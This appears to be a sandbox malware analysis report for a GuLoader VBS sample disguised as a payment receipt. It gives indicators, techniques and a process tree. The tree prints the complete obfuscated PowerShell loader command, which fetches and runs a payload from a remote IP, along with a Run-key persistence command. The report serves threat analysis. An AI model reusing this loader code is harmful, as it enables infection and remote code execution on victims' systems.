guloader | f9a51686ace6a200b6c9de7b9a8cd18c6ab67e6841ba64bf1518932ccd78bf78

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 07:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Zahlungsbeleg 202405029058.vbs
Size 209KB
Sample240504-jm4jbsff9s
SHA256 f9a51686ace6a200b6c9de7b9a8cd18c6ab67e6841ba64bf1518932ccd78bf78
MD5 913fa02445aa8092996ad3f000aa1ea1
SHA1 c29022193884baeb4aad8a94884995ea80bdeb25
SHA512 7bedf67bcf7fc15b6c3ce845fcbec3e7a936ebd72efa9a0b386eec5d15d7c1560b87aabb729114016862742c4e40299a7c4dc3ca810af06510b4d9b352196263
SSDEEP 6144:PJITON4vsj1oLXVAFN6oDpLfcW6PGOYQO+17ezWSUqE19eAV/KE3JSlkiuqIQK9Y:hcKJkRH3E
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1880	WScript.exe
12	3604	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Tidsperioderne189% -w 1 $Yodellers23=(Get-ItemProperty -Path 'HKCU:\\Lrlingekontrakten\\').Propertyless;%Tidsperioderne189% ($Yodellers23)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2856	ImagingDevices.exe
2856	ImagingDevices.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3104	powershell.exe
2856	ImagingDevices.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3104 set thread context of 2856	3104	powershell.exe	119

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1524	2856	WerFault.exe	119

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4512	reg.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4588	ping.exe
4584	ping.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3604	powershell.exe
3604	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe
2856	ImagingDevices.exe

Suspicious behavior: MapViewOfSection 14 IoCs

pid	Process
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
3104	powershell.exe
2856	ImagingDevices.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeDebugPrivilege	3104	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 4588	1880	WScript.exe	83
PID 1880 wrote to memory of 4588	1880	WScript.exe	83
PID 1880 wrote to memory of 4584	1880	WScript.exe	85
PID 1880 wrote to memory of 4584	1880	WScript.exe	85
PID 1880 wrote to memory of 2200	1880	WScript.exe	87
PID 1880 wrote to memory of 2200	1880	WScript.exe	87
PID 1880 wrote to memory of 3604	1880	WScript.exe	89
PID 1880 wrote to memory of 3604	1880	WScript.exe	89
PID 3604 wrote to memory of 2688	3604	powershell.exe	91
PID 3604 wrote to memory of 2688	3604	powershell.exe	91
PID 3604 wrote to memory of 3104	3604	powershell.exe	103
PID 3604 wrote to memory of 3104	3604	powershell.exe	103
PID 3604 wrote to memory of 3104	3604	powershell.exe	103
PID 3104 wrote to memory of 3768	3104	powershell.exe	104
PID 3104 wrote to memory of 3768	3104	powershell.exe	104
PID 3104 wrote to memory of 3768	3104	powershell.exe	104
PID 3104 wrote to memory of 4920	3104	powershell.exe	107
PID 3104 wrote to memory of 4920	3104	powershell.exe	107
PID 3104 wrote to memory of 4920	3104	powershell.exe	107
PID 3104 wrote to memory of 3744	3104	powershell.exe	108
PID 3104 wrote to memory of 3744	3104	powershell.exe	108
PID 3104 wrote to memory of 3744	3104	powershell.exe	108
PID 3104 wrote to memory of 3876	3104	powershell.exe	109
PID 3104 wrote to memory of 3876	3104	powershell.exe	109
PID 3104 wrote to memory of 3876	3104	powershell.exe	109
PID 3104 wrote to memory of 1916	3104	powershell.exe	110
PID 3104 wrote to memory of 1916	3104	powershell.exe	110
PID 3104 wrote to memory of 1916	3104	powershell.exe	110
PID 3104 wrote to memory of 1704	3104	powershell.exe	111
PID 3104 wrote to memory of 1704	3104	powershell.exe	111
PID 3104 wrote to memory of 1704	3104	powershell.exe	111
PID 3104 wrote to memory of 4260	3104	powershell.exe	112
PID 3104 wrote to memory of 4260	3104	powershell.exe	112
PID 3104 wrote to memory of 4260	3104	powershell.exe	112
PID 3104 wrote to memory of 2828	3104	powershell.exe	113
PID 3104 wrote to memory of 2828	3104	powershell.exe	113
PID 3104 wrote to memory of 2828	3104	powershell.exe	113
PID 3104 wrote to memory of 1028	3104	powershell.exe	114
PID 3104 wrote to memory of 1028	3104	powershell.exe	114
PID 3104 wrote to memory of 1028	3104	powershell.exe	114
PID 3104 wrote to memory of 3116	3104	powershell.exe	115
PID 3104 wrote to memory of 3116	3104	powershell.exe	115
PID 3104 wrote to memory of 3116	3104	powershell.exe	115
PID 3104 wrote to memory of 2244	3104	powershell.exe	116
PID 3104 wrote to memory of 2244	3104	powershell.exe	116
PID 3104 wrote to memory of 2244	3104	powershell.exe	116
PID 3104 wrote to memory of 2908	3104	powershell.exe	117
PID 3104 wrote to memory of 2908	3104	powershell.exe	117
PID 3104 wrote to memory of 2908	3104	powershell.exe	117
PID 3104 wrote to memory of 3276	3104	powershell.exe	118
PID 3104 wrote to memory of 3276	3104	powershell.exe	118
PID 3104 wrote to memory of 3276	3104	powershell.exe	118
PID 3104 wrote to memory of 2856	3104	powershell.exe	119
PID 3104 wrote to memory of 2856	3104	powershell.exe	119
PID 3104 wrote to memory of 2856	3104	powershell.exe	119
PID 3104 wrote to memory of 2856	3104	powershell.exe	119
PID 3104 wrote to memory of 2856	3104	powershell.exe	119
PID 2856 wrote to memory of 3928	2856	ImagingDevices.exe	120
PID 2856 wrote to memory of 3928	2856	ImagingDevices.exe	120
PID 2856 wrote to memory of 3928	2856	ImagingDevices.exe	120
PID 3928 wrote to memory of 4512	3928	cmd.exe	122
PID 3928 wrote to memory of 4512	3928	cmd.exe	122
PID 3928 wrote to memory of 4512	3928	cmd.exe	122

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Zahlungsbeleg 202405029058.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Windows\System32\ping.exe
  ping google.com -n 1
  2⤵
  - Runs ping.exe
  PID:4588
- C:\Windows\System32\ping.exe
  ping %.%.%.%
  2⤵
  - Runs ping.exe
  PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir
  2⤵
  PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Reglorified = 1;$Toupe='S';$Toupe+='ubstrin';$Toupe+='g';Function Tyknende($Frontotemporal){$Kommandodeles=$Frontotemporal.Length-$Reglorified;For($Nummerordens=5;$Nummerordens -lt $Kommandodeles;$Nummerordens+=6){$Crpe+=$Frontotemporal.$Toupe.Invoke( $Nummerordens, $Reglorified);}$Crpe;}function biblioteksfilerne($kedelcentralen){& ($Dataanlgs) ($kedelcentralen);}$Udskilles=Tyknende 'SnuggMfo.oro Loo zKa.aniStoo,lFlan lSmaaga len,/ U fi5H.gge.Mawse0 Xant Lint(Reae WPaikiiTorden StnidSk ftoM.gtswGrasssGivin Hovs.NAs.erTOutbr Kvot,1Goupi0Poess. ook0Recr,;Tilkn B.arWUnderiTorrinKalku6Rekor4Vandm; Oldt GodkexSlamb6Anvis4Overw;Rente TaalrRrgssvsvige:Ae,li1Synan2 Rupi1 ukat.,onra0Lo.ds)Apoth LouirGTempee OvercGenfokIso.co Syst/Menis2Ioevr0Stan.1Varsl0 sses0subst1 Coex0Un af1Raias IldneFDo,ediOvnhur,etere Luk,fAreahonobblx ara/ Ekvi1kha.e2Folk,1B.lls. Besk0Forme ';$Primevally=Tyknende '.rsteUHy,ossSquibe,parerRewar-TenanAFictigAffaee parn Jerrt Myrt ';$Dien=Tyknende 'SynsmhMilittVajedtDarenpS.eep:Dob,o/Perpl/Erase8Siren7Nonwe. jack1 ,ive2 Over1 Ar,g.Beret1Retst0Maler5Reded..ippe5Spare4Count/SculpOChapoxMec da D,pllBl eduSlippr imuli Cplma Indi2ret t0Libet9Thick.No,ensPostnmJo,dbi.onsu ';$Longrun=Tyknende 'Folke>Patte ';$Dataanlgs=Tyknende ' Verdi Unree NonvxTppe ';$Traditions='Nashira';biblioteksfilerne (Tyknende 'GregsSUnasseGrmmetPersi-HvalfCPieb.o Inv n CinntHerdsePrve nIndtetBrede Argum-RefitPPla taMbelptAfgrfhklar knivbTC,rva:morte\KonomGSlutkrS.igey S,agnBlahltPne,me stern SilkdTalene FejnsMes n.Fritit SubmxbismutCosmo Under-RhyptV Ext.a ,atol f,inuPublieKolla Nook $SkrivTRubler.orynaChancdZonaliGe.trtC.nidi NoncoKitnin Uds,sOrig ;Recep ');biblioteksfilerne (Tyknende ' Repai edelfBasqu Diff(HoppetStucce Sce,s ivsvtEpe.i-.odstpBarriaTyroltSysgth ang CalcaTPatro:Rigad\IsoclGUnordr Aggryamputn,hrootBordhe agttn myecdGui ee RevesFlere.Ps,udtPlastxPantet prun) Snot{D sene VindxleafsiKultutSonor} Sies;Limen ');$Kursusoversigten = Tyknende 'Servoe ontcN gashBi.looUnchi Preco%VagnuaKodiapPseu,pSe,igdAlt.baPeru.tInteraSpa.l%Stuve\DismeVcirc.aKerattFarvee SprarSleyspS.angaSha rsgutsesUnmeweYlvahnSundheAfspnsKsehu2Wiens4 Para.BesteAPatruc .llecmyone Resou&Parad&t.lip DiscueDurescBogtihLgel,okilot Re.ia$B sni ';biblioteksfilerne (Tyknende 'Blidh$KitnigToxollstrbsogeckobS,ffeaAristlTrans:tun,nTMephii.ammetDe uta.apitrSto.m= I.er(Modtac PresmIndevdAfhng Henst/tenebcOpt.i Im,r$Hord,K TrykuFje nr Skgls BeliusukkesNyoproKomm,vTelesePharmr AritsL mpnianligg rimot TweeeEmpirnDi.yo)Majus ');biblioteksfilerne (Tyknende 'citat$Comp.gEnd,sl TrygoAjlefbWeddea Br,dl Haa.:Hold FSlidsaRefuseL.ngtrAarvad Punki St rg,ross=Sk.iv$HandgDAlhusiGaulle DiaznFradr. OversStephp SheblservaigymnatAmtsv(Ouvri$AlpevLHospioD apen IdocgSe.ulrSustiu Griln Spar)ele h ');$Dien=$Faerdig[0];biblioteksfilerne (Tyknende ' Girl$ Un egA drolDredgoMortabOver,a B.bal L.vn:Sta iFThyreroplbeeSherieRefinlValgbaRetinnbevi,cvar.ee SaagrN ninsC.ook= SurfNLkkereTribuwSk am-Tire OUnprobEidesjBitumeStyrmckor otSurm. HjagtSBle.iy SupesUnsu.tTilkeeMak rmPlta.. LmmeNTela,e UnvetPrvel. VegeWmeniseKiwieb ReupC AntilUnsa.iSpe ieVint nTeglvta alo ');biblioteksfilerne (Tyknende '.nfan$ DeusFFam,lr TiggeThodueIndsalLeakia Helln.ortvc udvaeH nstrVolumsMe.le.,ekonHO.stdeRedera VinedDiftoeBasrerSeculsGaast[Gidse$BaadsPRadiorAp.thi.ublem Out.e DybsvnoncoaCarpolLimitl.istayPassu]Start=Obser$TermiUEdsafdHoboesbetitkRigdoi AnaplPatrul remseju.aesUenig ');$Naturtr=Tyknende ' ArabFI dder Unhee ExtreAfsvkls.epnaHo monAlbincIntegeForvar bekms Gr,p.Adju D no coInsu.wEtabln B.valAn icoOrenjaStj.rdBegreFGrundiP,efalU,vuleKrigs( Hydr$ba,reDFoldaiTorpeeGauffnRefle,Robin$GematoMalesvExtrae omarstramdVagtmrMatt,ythion)Hagta ';$Naturtr=$Titar[1]+$Naturtr;$overdry=$Titar[0];biblioteksfilerne (Tyknende 'Respi$Unling ,haklSanitoImmunbKoereaCortel Wise:.hmsmESta.ls TanztAd.omhF imreSommesGiganiDkfaboBitism,chelemi,rot Fr,srHomelyPos e1Unruf7Ne,to6 Anti=Alter(UncliTF,agmeBordesTzaritMarse-CoccoPPolyea Catat BesthAfliv Arbej$FestioMyriavIsraeeWal,arPaatrdCountr roreyPaasy)Sivap ');while (!$Esthesiometry176) {biblioteksfilerne (Tyknende 'S vsk$,nequgSkindlDummeoSyst bMote.aStereladmir:Maro L MaraeStrghvProp ePhot.mHoneya DryanB,rkndNeg.rsOve v= s.id$C asstUn eurPreinu SkraeI,gtt ') ;biblioteksfilerne $Naturtr;biblioteksfilerne (Tyknende 'FradrS,rakvtDentnaAbdicrRec mt,dult-BashfSSaltblSaddeeRukaneTen.epHerop Srgem4Bakov ');biblioteksfilerne (Tyknende 'pulve$Extrag TolllRubasoEsotebUenigaafgrel.alad: HvsnEPustesB,mbltSidsthEspoueServisunnaki FdevoGuldsmExpuneTravet EmnerSov kyPo.tl1De.el7 Co r6Ha ay= O.pl(I,venT Svi,eForplsFds etVinte-Ke,tsPper,daPerittRhodehSjatt Firaa$ForsyoUnhusvRe,ece Ant,rH.mogdDese r Wo,syInter)A,fri ') ;biblioteksfilerne (Tyknende 'Reg,s$Kemikg Duv.lHeno,oUnideb Ho.kaMa telNonev: popSAp oceBrassp DiaktbarkeiBeskrs.rnseyClinil SkatlHyperaCharmb ChrolDy.ehesi if=Strej$ cla,gDemesl D buoBedlabNarkoaBardulViles:Arb.jC Lagra F.agtU.hunt.enselRingleChan.gSvrdla,aveetC,cobeTelen1Aden +Penan+Nause%Ridde$Vak.eFOkariaSt ute OverrFestsdRetspiMiljagSpads. Therc Fi eoPerjuuStikknFrem.tEnsn ') ;$Dien=$Faerdig[$Septisyllable];}biblioteksfilerne (Tyknende 'Multi$UnsuigMicrolStumpoL icibRevleaBogydlCont :PotomFned.roBedu,s PowesBat hePre,crKybel gasbl= Trai estheGAnimee eizit kemi- NonjCB,ldioRet hnGaasetara,ieRrelsnTjlestExcub Sator$KonduoLitt.vBepapeH,emmrIntemdSeniarAfkray Male ');biblioteksfilerne (Tyknende 'Nonde$ByretgBrugslEvacuoTjenebDadelaOpk elUdsen: A chP For.otranssT rteiDkstitLovgiiUds ro ,rilnSlidssFri,tao,erdnG,dfrgJaskei AcnevInconebyltelMattbsR,vene esmo .aret=,orsk Acaro[VestaS Un.ryHe.tasSa met.renieEvalum,ontr. .echCHarbro Mun nAsc.ivTopngeBolsjr Ko mtEpico]React:Mange: DecaFGamogr Ud.eomik om ermiBd.sseaTornesSpendeSe.su6 Jock4nonniSSny etTreetrMerc iProren nfeagPlica(Surpl$tidehFCodoro ellsHvirvsFlutee De,irUndow)Count ');biblioteksfilerne (Tyknende 'Synsp$Siccig Ca dlTa,sto.rolebNogleaRenholStagn:B rfoDNordbeScrimlKro.seTropog KisteSilverBoghve Afbrt Sel mRembudB.dgeeunglor Puka ,rvle=Moder Marqu[to,roSPartiy KaolsSnibbtNonioe ,nibmUnbef.Af lrTGgegeeHushaxBord,tNonv,. ubsaESforzn Illuc posio SkuldCo upiYppetnSabbigNorde]Norda:,unkt:CustoA yveSEfterCFortsIS entIAnusi.Ska,tGPeccaeVeiletTovtrSTin ltBrummr DialiN,nrenslvfegSten,(Vrdia$ V deP T,rooAcyansOateriTramwt PoleiSixpeoBevirn FestsA.eolaUndebnNonprg plebiCog.ov,rovie S.mil.oglesMentaeHello)Ratif ');biblioteksfilerne (Tyknende 'Junni$ForhagGieselJoyproMedlbb Ultia Umynl emin:AaremBFernaiVernansljferty,edePneums sinu=Knogl$ForpaDSphegeTra ilvers.eVrikdgNord,e Frosr OdoneZombitS,rtemStipud trope Rejnr ,eli.AriadsTypoguV.ntubCephasResidt yprer ProfiNonnenHoe.lgKonfe(Ceilo2Bgesp8Advi 4 Anra0Contr2 Uove1Admin, S dd2 Opsl8Drfta4 B,ho7 Medi1Biolu)Novit ');biblioteksfilerne $Binres;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Vaterpassenes24.Acc && echo $"
    3⤵
    PID:2688
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Reglorified = 1;$Toupe='S';$Toupe+='ubstrin';$Toupe+='g';Function Tyknende($Frontotemporal){$Kommandodeles=$Frontotemporal.Length-$Reglorified;For($Nummerordens=5;$Nummerordens -lt $Kommandodeles;$Nummerordens+=6){$Crpe+=$Frontotemporal.$Toupe.Invoke( $Nummerordens, $Reglorified);}$Crpe;}function biblioteksfilerne($kedelcentralen){& ($Dataanlgs) ($kedelcentralen);}$Udskilles=Tyknende 'SnuggMfo.oro Loo zKa.aniStoo,lFlan lSmaaga len,/ U fi5H.gge.Mawse0 Xant Lint(Reae WPaikiiTorden StnidSk ftoM.gtswGrasssGivin Hovs.NAs.erTOutbr Kvot,1Goupi0Poess. ook0Recr,;Tilkn B.arWUnderiTorrinKalku6Rekor4Vandm; Oldt GodkexSlamb6Anvis4Overw;Rente TaalrRrgssvsvige:Ae,li1Synan2 Rupi1 ukat.,onra0Lo.ds)Apoth LouirGTempee OvercGenfokIso.co Syst/Menis2Ioevr0Stan.1Varsl0 sses0subst1 Coex0Un af1Raias IldneFDo,ediOvnhur,etere Luk,fAreahonobblx ara/ Ekvi1kha.e2Folk,1B.lls. Besk0Forme ';$Primevally=Tyknende '.rsteUHy,ossSquibe,parerRewar-TenanAFictigAffaee parn Jerrt Myrt ';$Dien=Tyknende 'SynsmhMilittVajedtDarenpS.eep:Dob,o/Perpl/Erase8Siren7Nonwe. jack1 ,ive2 Over1 Ar,g.Beret1Retst0Maler5Reded..ippe5Spare4Count/SculpOChapoxMec da D,pllBl eduSlippr imuli Cplma Indi2ret t0Libet9Thick.No,ensPostnmJo,dbi.onsu ';$Longrun=Tyknende 'Folke>Patte ';$Dataanlgs=Tyknende ' Verdi Unree NonvxTppe ';$Traditions='Nashira';biblioteksfilerne (Tyknende 'GregsSUnasseGrmmetPersi-HvalfCPieb.o Inv n CinntHerdsePrve nIndtetBrede Argum-RefitPPla taMbelptAfgrfhklar knivbTC,rva:morte\KonomGSlutkrS.igey S,agnBlahltPne,me stern SilkdTalene FejnsMes n.Fritit SubmxbismutCosmo Under-RhyptV Ext.a ,atol f,inuPublieKolla Nook $SkrivTRubler.orynaChancdZonaliGe.trtC.nidi NoncoKitnin Uds,sOrig ;Recep ');biblioteksfilerne (Tyknende ' Repai edelfBasqu Diff(HoppetStucce Sce,s ivsvtEpe.i-.odstpBarriaTyroltSysgth ang CalcaTPatro:Rigad\IsoclGUnordr Aggryamputn,hrootBordhe agttn myecdGui ee RevesFlere.Ps,udtPlastxPantet prun) Snot{D sene VindxleafsiKultutSonor} Sies;Limen ');$Kursusoversigten = Tyknende 'Servoe ontcN gashBi.looUnchi Preco%VagnuaKodiapPseu,pSe,igdAlt.baPeru.tInteraSpa.l%Stuve\DismeVcirc.aKerattFarvee SprarSleyspS.angaSha rsgutsesUnmeweYlvahnSundheAfspnsKsehu2Wiens4 Para.BesteAPatruc .llecmyone Resou&Parad&t.lip DiscueDurescBogtihLgel,okilot Re.ia$B sni ';biblioteksfilerne (Tyknende 'Blidh$KitnigToxollstrbsogeckobS,ffeaAristlTrans:tun,nTMephii.ammetDe uta.apitrSto.m= I.er(Modtac PresmIndevdAfhng Henst/tenebcOpt.i Im,r$Hord,K TrykuFje nr Skgls BeliusukkesNyoproKomm,vTelesePharmr AritsL mpnianligg rimot TweeeEmpirnDi.yo)Majus ');biblioteksfilerne (Tyknende 'citat$Comp.gEnd,sl TrygoAjlefbWeddea Br,dl Haa.:Hold FSlidsaRefuseL.ngtrAarvad Punki St rg,ross=Sk.iv$HandgDAlhusiGaulle DiaznFradr. OversStephp SheblservaigymnatAmtsv(Ouvri$AlpevLHospioD apen IdocgSe.ulrSustiu Griln Spar)ele h ');$Dien=$Faerdig[0];biblioteksfilerne (Tyknende ' Girl$ Un egA drolDredgoMortabOver,a B.bal L.vn:Sta iFThyreroplbeeSherieRefinlValgbaRetinnbevi,cvar.ee SaagrN ninsC.ook= SurfNLkkereTribuwSk am-Tire OUnprobEidesjBitumeStyrmckor otSurm. HjagtSBle.iy SupesUnsu.tTilkeeMak rmPlta.. LmmeNTela,e UnvetPrvel. VegeWmeniseKiwieb ReupC AntilUnsa.iSpe ieVint nTeglvta alo ');biblioteksfilerne (Tyknende '.nfan$ DeusFFam,lr TiggeThodueIndsalLeakia Helln.ortvc udvaeH nstrVolumsMe.le.,ekonHO.stdeRedera VinedDiftoeBasrerSeculsGaast[Gidse$BaadsPRadiorAp.thi.ublem Out.e DybsvnoncoaCarpolLimitl.istayPassu]Start=Obser$TermiUEdsafdHoboesbetitkRigdoi AnaplPatrul remseju.aesUenig ');$Naturtr=Tyknende ' ArabFI dder Unhee ExtreAfsvkls.epnaHo monAlbincIntegeForvar bekms Gr,p.Adju D no coInsu.wEtabln B.valAn icoOrenjaStj.rdBegreFGrundiP,efalU,vuleKrigs( Hydr$ba,reDFoldaiTorpeeGauffnRefle,Robin$GematoMalesvExtrae omarstramdVagtmrMatt,ythion)Hagta ';$Naturtr=$Titar[1]+$Naturtr;$overdry=$Titar[0];biblioteksfilerne (Tyknende 'Respi$Unling ,haklSanitoImmunbKoereaCortel Wise:.hmsmESta.ls TanztAd.omhF imreSommesGiganiDkfaboBitism,chelemi,rot Fr,srHomelyPos e1Unruf7Ne,to6 Anti=Alter(UncliTF,agmeBordesTzaritMarse-CoccoPPolyea Catat BesthAfliv Arbej$FestioMyriavIsraeeWal,arPaatrdCountr roreyPaasy)Sivap ');while (!$Esthesiometry176) {biblioteksfilerne (Tyknende 'S vsk$,nequgSkindlDummeoSyst bMote.aStereladmir:Maro L MaraeStrghvProp ePhot.mHoneya DryanB,rkndNeg.rsOve v= s.id$C asstUn eurPreinu SkraeI,gtt ') ;biblioteksfilerne $Naturtr;biblioteksfilerne (Tyknende 'FradrS,rakvtDentnaAbdicrRec mt,dult-BashfSSaltblSaddeeRukaneTen.epHerop Srgem4Bakov ');biblioteksfilerne (Tyknende 'pulve$Extrag TolllRubasoEsotebUenigaafgrel.alad: HvsnEPustesB,mbltSidsthEspoueServisunnaki FdevoGuldsmExpuneTravet EmnerSov kyPo.tl1De.el7 Co r6Ha ay= O.pl(I,venT Svi,eForplsFds etVinte-Ke,tsPper,daPerittRhodehSjatt Firaa$ForsyoUnhusvRe,ece Ant,rH.mogdDese r Wo,syInter)A,fri ') ;biblioteksfilerne (Tyknende 'Reg,s$Kemikg Duv.lHeno,oUnideb Ho.kaMa telNonev: popSAp oceBrassp DiaktbarkeiBeskrs.rnseyClinil SkatlHyperaCharmb ChrolDy.ehesi if=Strej$ cla,gDemesl D buoBedlabNarkoaBardulViles:Arb.jC Lagra F.agtU.hunt.enselRingleChan.gSvrdla,aveetC,cobeTelen1Aden +Penan+Nause%Ridde$Vak.eFOkariaSt ute OverrFestsdRetspiMiljagSpads. Therc Fi eoPerjuuStikknFrem.tEnsn ') ;$Dien=$Faerdig[$Septisyllable];}biblioteksfilerne (Tyknende 'Multi$UnsuigMicrolStumpoL icibRevleaBogydlCont :PotomFned.roBedu,s PowesBat hePre,crKybel gasbl= Trai estheGAnimee eizit kemi- NonjCB,ldioRet hnGaasetara,ieRrelsnTjlestExcub Sator$KonduoLitt.vBepapeH,emmrIntemdSeniarAfkray Male ');biblioteksfilerne (Tyknende 'Nonde$ByretgBrugslEvacuoTjenebDadelaOpk elUdsen: A chP For.otranssT rteiDkstitLovgiiUds ro ,rilnSlidssFri,tao,erdnG,dfrgJaskei AcnevInconebyltelMattbsR,vene esmo .aret=,orsk Acaro[VestaS Un.ryHe.tasSa met.renieEvalum,ontr. .echCHarbro Mun nAsc.ivTopngeBolsjr Ko mtEpico]React:Mange: DecaFGamogr Ud.eomik om ermiBd.sseaTornesSpendeSe.su6 Jock4nonniSSny etTreetrMerc iProren nfeagPlica(Surpl$tidehFCodoro ellsHvirvsFlutee De,irUndow)Count ');biblioteksfilerne (Tyknende 'Synsp$Siccig Ca dlTa,sto.rolebNogleaRenholStagn:B rfoDNordbeScrimlKro.seTropog KisteSilverBoghve Afbrt Sel mRembudB.dgeeunglor Puka ,rvle=Moder Marqu[to,roSPartiy KaolsSnibbtNonioe ,nibmUnbef.Af lrTGgegeeHushaxBord,tNonv,. ubsaESforzn Illuc posio SkuldCo upiYppetnSabbigNorde]Norda:,unkt:CustoA yveSEfterCFortsIS entIAnusi.Ska,tGPeccaeVeiletTovtrSTin ltBrummr DialiN,nrenslvfegSten,(Vrdia$ V deP T,rooAcyansOateriTramwt PoleiSixpeoBevirn FestsA.eolaUndebnNonprg plebiCog.ov,rovie S.mil.oglesMentaeHello)Ratif ');biblioteksfilerne (Tyknende 'Junni$ForhagGieselJoyproMedlbb Ultia Umynl emin:AaremBFernaiVernansljferty,edePneums sinu=Knogl$ForpaDSphegeTra ilvers.eVrikdgNord,e Frosr OdoneZombitS,rtemStipud trope Rejnr ,eli.AriadsTypoguV.ntubCephasResidt yprer ProfiNonnenHoe.lgKonfe(Ceilo2Bgesp8Advi 4 Anra0Contr2 Uove1Admin, S dd2 Opsl8Drfta4 B,ho7 Medi1Biolu)Novit ');biblioteksfilerne $Binres;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Vaterpassenes24.Acc && echo $"
      4⤵
      PID:3768
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:4920
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:3744
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:3876
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1916
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1704
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:4260
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:2828
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1028
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:3116
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:2244
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:2908
  - - C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
      "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
      4⤵
      PID:3276
  - - C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
      "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2856
    - - C:\Windows\SysWOW64\cmd.exe
        
